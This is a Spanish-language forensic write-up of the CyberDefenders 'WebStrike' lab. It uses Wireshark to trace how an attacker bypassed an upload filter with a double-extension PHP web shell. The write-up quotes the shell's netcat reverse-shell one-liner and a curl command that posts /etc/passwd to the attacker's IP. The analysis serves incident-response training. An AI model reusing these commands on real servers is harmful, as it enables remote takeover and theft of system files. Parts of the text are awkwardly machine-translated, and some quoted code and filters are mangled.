WebStrike de CyberDefenders
{width=“6.267716535433071in”
height=“2.888888888888889in”}
El Escenario
Antes de abrir el archivo, define el caso en tu documentación:
-
Víctima: Servidor Web (probablemente Linux/Apache por lo que se ve en el reto).
-
Evidencia: Archivo .pcap (tráfico de red) y probablemente logs de acceso.
-
Misión: Identificar cómo entró el atacante, qué archivos subió y qué comandos ejecutó.
Herramientas que vamos a usar
Para este reto específico, usaremos herramientas estándar de la industria:
-
Wireshark: Para analizar el tráfico de red (PCAP).
-
Brim / Zeek: (Opcional pero muy profesional) para convertir el PCAP en logs legibles tipo “flujo”.
-
CyberChef: Para decodificar posibles shells o comandos que el atacante haya enviado (muy común en CySA+).
Introducción
En este laboratorio profundizamos en la investigación forense de una actividad sospechosa detectada en un servidor web de la empresa, capturada y proporcionada en forma de PCAP archivo para análisis.
El escenario resalta un incidente de seguridad crítico que involucra la carga no autorizada de un mensaje malicioso web shell, posterior ejecución del comando y un intento de exfiltrar datos confidenciales. A través de este análisis, descubriremos los métodos empleados por el atacante, las vulnerabilidades explotadas y las técnicas utilizadas para mantener el acceso no autorizado al servidor.
Usando Wireshark, una poderosa herramienta de análisis de red, examinamos sistemáticamente el tráfico capturado para responder preguntas clave sobre el ataque. Comenzamos identificando al atacante geographical origin y sus interacciones iniciales con el servidor.
A continuación, analizamos la carga útil maliciosa y descubrimos cómo el atacante eludió con éxito los mecanismos de validación de carga para implementar una web shell. Luego investigamos al atacante reverse shell comunicaciones, incluido el puerto utilizado para el tráfico saliente y sus comandos ejecutados en el servidor comprometido. Finalmente, identificamos el archivo confidencial al que se dirige exfiltration, revelando el alcance total del incidente.
Este tutorial sirve para ilustrar no sólo la metodología del atacante sino también las técnicas forenses utilizadas para rastrear sus acciones y mitigar el daño. Al comprender estos pasos, podemos prepararnos mejor y responder a incidentes similares en el futuro, lo que refuerza la importancia de la ciencia forense de redes en la respuesta a incidentes y la defensa de la ciberseguridad.
Análisis
Q1 Identificar el origen geográfico del ataque ayuda a implementar medidas de bloqueo geográfico y analizar la inteligencia sobre amenazas.
¿De qué ciudad se originó el ataque?
IP geolocation es el proceso de determinar la ubicación física o región asociada con una dirección IP específica.
Esto se logra asignando la dirección IP a datos geográficos como país, ciudad, latitud, longitud y, a veces, incluso al proveedor de servicios de Internet (ISP).
En ciberseguridad, IP geolocation desempeña un papel vital al ayudar a las organizaciones a identificar la fuente de la actividad de la red, como posibles ataques o acceso no autorizado.
Esta información es crucial para la implementación geo-blocking medidas, adaptación de estrategias de inteligencia sobre amenazas y comprensión de la distribución geográfica de las amenazas cibernéticas.
Para identificar el origen geográfico del ataque en este caso, comience abriendo el archivo PCAP proporcionado en Wireshark.
Una vez cargado el archivo, navegue hasta la barra de menú y seleccione Statistics → Endpoints. Desde la ventana
Puntos finales, haga clic en IPv4 pestaña para ver todas las direcciones IPv4 que interactuaron con la red.
Esta lista proporciona detalles clave como las direcciones IP de origen y destino, la cantidad de paquetes enviados y recibidos y el volumen de datos intercambiados.
{width=“6.267716535433071in”
height=“3.0in”}
En este caso, notarás dos direcciones IP principales en la comunicación. La IP de origen 117.11.88.124 se destaca porque estableció una conexión con el servidor en 24.49.63.79.
{width=“6.267716535433071in”
height=“3.0in”}
Para investigar más a fondo esta IP de origen, utilice un servicio de geolocalización de IP.
Abra un navegador web y navegue hasta https://ipgeolocation.io.
Ingrese la dirección IP 117.11.88.124 en la barra de búsqueda e inicie la consulta. Los resultados, como se muestra a continuación, revelan que la dirección IP se encuentra en Tianjin, China
{width=“6.267716535433071in”
height=“3.736111111111111in”}
Este paso es crucial para comprender el origen del ataque, ya que los datos de geolocalización permiten asociar las actividades de la red con regiones específicas.
El geobloqueo puede entonces implementarse como una medida preventiva para restringir el tráfico desde lugares de alto riesgo o sospechosos.
Estas medidas reducen la probabilidad de actividades no autorizadas similares y al mismo tiempo mejoran la postura de defensa de la red.
Siguiendo este proceso, determinamos que el ataque se originó en Tianjin, China.
Q2 Conocer el agente de usuario del atacante ayuda a crear reglas de filtrado sólidas. ¿Cuál es el agente de usuario del atacante?
A User-Agent es una cadena enviada por un cliente (como un navegador web o una aplicación) a un servidor como parte de un encabezado de solicitud HTTP.
Esta cadena identifica el tipo de aplicación, el sistema operativo, la versión del software y la plataforma del cliente.
Por ejemplo, una cadena User-Agent podría especificar si el cliente es un navegador de escritorio, un navegador móvil o una herramienta específica como un rastreador web.
Esta información ayuda al servidor a adaptar sus respuestas para que se ajusten a las capacidades del cliente, como entregar páginas web compatibles con dispositivos móviles a navegadores móviles.
En el contexto de la ciberseguridad, User-Agent
Las cadenas son útiles para la detección y el filtrado porque pueden ayudar a identificar comportamientos anómalos o maliciosos.
Los atacantes a menudo se burlan User-Agent cadenas para disfrazar sus herramientas como navegadores o aplicaciones legítimas.
Mediante el monitoreo de casos poco comunes o sospechosos User-Agent cadenas, las organizaciones pueden detectar tráfico malicioso, bloquear herramientas o scripts específicos y perfeccionar sus sistemas de detección de intrusiones.
Para identificar al atacante User-Agent En este caso, siga la transmisión HTTP entre el atacante y el servidor en Wireshark.
{width=“6.267716535433071in”
height=“3.0in”}
Desde el archivo PCAP, haga clic derecho en el paquete HTTP correspondiente (como se muestra en la siguiente captura de pantalla) y seleccione Follow → HTTP Stream.
La solicitud HTTP GET capturada revela el agente de usuario del atacante como Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0.
Esto indica que es probable que el atacante esté emulando un navegador Firefox basado en Linux, potencialmente para integrarse con el tráfico legítimo y evitar ser detectado.
Al extraer y analizar esta información, puede mejorar las reglas de filtrado y detectar intentos similares en el futuro.
P3 Necesitamos determinar si se explotó alguna vulnerabilidad. ¿Cuál es el nombre del shell web malicioso que se cargó correctamente?
A web shell es un script malicioso cargado en un servidor web vulnerable que proporciona a los atacantes control remoto sobre el servidor.
Los shells web se escriben comúnmente en lenguajes de script como PHP, ASP o Python y permiten a los atacantes ejecutar comandos arbitrarios, cargar archivos o pivotar a otros sistemas dentro de una red.
Son una herramienta común utilizada en actividades posteriores a la explotación para mantener el acceso y aumentar los privilegios.
En este análisis, el filtro Wireshark ip.src 117.11.88.124 and http.request.method“POST” se aplica para aislar solicitudes HTTP POST que se originan en la dirección IP del atacante 117.11.88.124.
Este filtro garantiza que solo se muestre el tráfico relevante ---específicamente solicitudes en las que el atacante puede estar cargando archivos o explotando vulnerabilidades---.
{width=“6.267716535433071in”
height=“3.0in”}
La captura de pantalla anterior revela dos solicitudes POST importantes realizadas por el atacante.
En la primera solicitud POST, el atacante intenta cargar un archivo llamado image.php vía el /reviews/upload.php endpoint.
El contenido del archivo cargado es visible en el flujo HTTP y muestra un fragmento de código PHP diseñado para establecer un shell inverso utilizando el system función.
{width=“6.267716535433071in”
height=“3.013888888888889in”}
Este intento es rechazado por el servidor con un Invalid file format mensaje de error, que indica alguna validación del lado del servidor.
En la segunda solicitud POST, el atacante modifica ligeramente el nombre del archivo a image.jpg.php e intenta cargar el mismo contenido malicioso a través del mismo punto final.
{width=“6.267716535433071in”
height=“3.0in”}
Esta vez, la carga es exitosa, como lo indica el File uploaded successfully respuesta del servidor.
El atacante evita con éxito la validación del servidor agregando .jpg al nombre del archivo, lo que puede haber engañado al mecanismo de filtrado del servidor.
De los detalles de las capturas de pantalla se desprende claramente que el shell web malicioso cargado por el atacante tenía nombre image.jpg.php.
Esto pone de relieve la explotación de una validación de entrada inadecuada en el servidor web, lo que permite al atacante ejecutar código malicioso y mantener un acceso no autorizado al servidor.
Q4 Identificar el directorio donde se almacenan los archivos cargados es crucial para localizar la página vulnerable y eliminar cualquier archivo malicioso. ¿Qué directorio utiliza el sitio web para almacenar los archivos cargados?
Para identificar el directorio donde se almacenan los archivos cargados, un análisis más detallado del tráfico HTTP revela detalles más precisos.
A partir del tráfico capturado, podemos ver que las cargas de archivos se procesan a través del /reviews/upload.php endpoint.
Sin embargo, después de una carga exitosa, las solicitudes posteriores del atacante y las respuestas del servidor revelan información adicional sobre el directorio de almacenamiento.
{width=“6.267716535433071in”
height=“3.0in”}
La transmisión HTTP capturada en la captura de pantalla anterior muestra un GET solicitar a /reviews/uploads, donde el servidor responde con un código de estado “301 Movido permanentemente”, redirigiendo al cliente al /reviews/uploads/ directorio.
La respuesta redirigida y el comportamiento posterior del servidor confirman que los archivos cargados a través del /reviews/upload.php Los puntos finales se almacenan en el /reviews/uploads/ directorio.
Este hallazgo refina la comprensión de la estructura del servidor, lo que indica que /reviews/uploads/ es el directorio específico donde se almacenan los archivos cargados, incluidos los potencialmente maliciosos.
Q5 ¿Qué puerto, abierto en la máquina del atacante, fue atacado por el shell web malicioso por establecer una comunicación saliente no autorizada?
Para determinar el puerto en la máquina del atacante al que el shell web malicioso apuntó para establecer una comunicación saliente no autorizada, nos referimos al contenido del archivo del shell web cargado.
{width=“6.267716535433071in”
height=“3.0in”}
El código malicioso incrustado en el archivo cargado image.jpg.php incluye código PHP diseñado para iniciar una conexión de shell inversa.
Los atacantes suelen utilizar shells inversos para obtener control remoto sobre un servidor conectándose nuevamente a su propia máquina.
En este caso, al examinar el contenido del shell web se revela el comando
<?sistema php(“rm/tmp/f;mkfifo/tmp/f;cat/tmp/f|/bin/sh -i 2>&1|nc 117.11.88.124 8080 >/tmp/f”); ?>
El comando (netcat) dentro de este código especifica explícitamente la dirección IP del atacante 117.11.88.124 y el número de puerto 8080.
Esto indica que el shell inverso intentó establecer una conexión con la máquina del atacante en el puerto 8080.
Por lo tanto, el puerto al que apuntaba el shell web malicioso para la comunicación saliente con la máquina del atacante era el puerto 8080.
Identificar este puerto es fundamental para comprender el método de comunicación del atacante y puede ayudar a configurar firewalls o sistemas de detección de intrusiones para monitorear o bloquear dichas conexiones en el futuro.
P6 Reconocer la importancia de los datos comprometidos ayuda a priorizar las acciones de respuesta a incidentes. ¿Qué archivo intentaba exfiltrar el atacante?
Para identificar qué archivo intentó exfiltrar el atacante, el análisis comienza examinando los comandos ejecutados durante la sesión de shell inversa.
Siguiendo el flujo TCP asociado con el shell inverso, podemos observar los comandos utilizados por el atacante para acceder y transferir datos.
El objetivo es detectar cualquier intento de leer o enviar archivos a la máquina del atacante, ya que estas acciones indican intentos de exfiltración.
Se presta especial atención a los comandos que hacen referencia a archivos o directorios críticos del sistema.
{width=“6.267716535433071in”
height=“3.0in”}
En Wireshark, el filtro (tcp.port8080) && (ip.src24.49.63.79) se aplica para limitar la vista del tráfico.
Este filtro captura el tráfico saliente del servidor víctima 24.49.63.79 a la máquina del atacante en el puerto 8080, que se estableció para la conexión de shell inversa.
Al examinar el flujo TCP capturado se revela que el atacante utiliza un curl comando para intentar la exfiltración.
El comando específico, curl -X POST -d /etc/passwd http://117.11.88.124:443/, indica la intención del atacante de transferir el /etc/passwd archivar en su máquina a través de HTTP en el puerto 443.
{width=“6.267716535433071in”
height=“3.0in”}
El /etc/passwd El archivo es un objetivo crítico ya que contiene una lista de usuarios del sistema y su información de configuración asociada.
Si bien no contiene hashes de contraseñas directamente (los sistemas modernos utilizan archivos sombra), es invaluable para el reconocimiento y puede ayudar en los esfuerzos de escalada de privilegios.
Tras este análisis, queda claro que el atacante intentó exfiltrar el /etc/passwd archivo, destacando la necesidad de priorizar las acciones de respuesta a incidentes para proteger estos datos confidenciales y evitar más infracciones.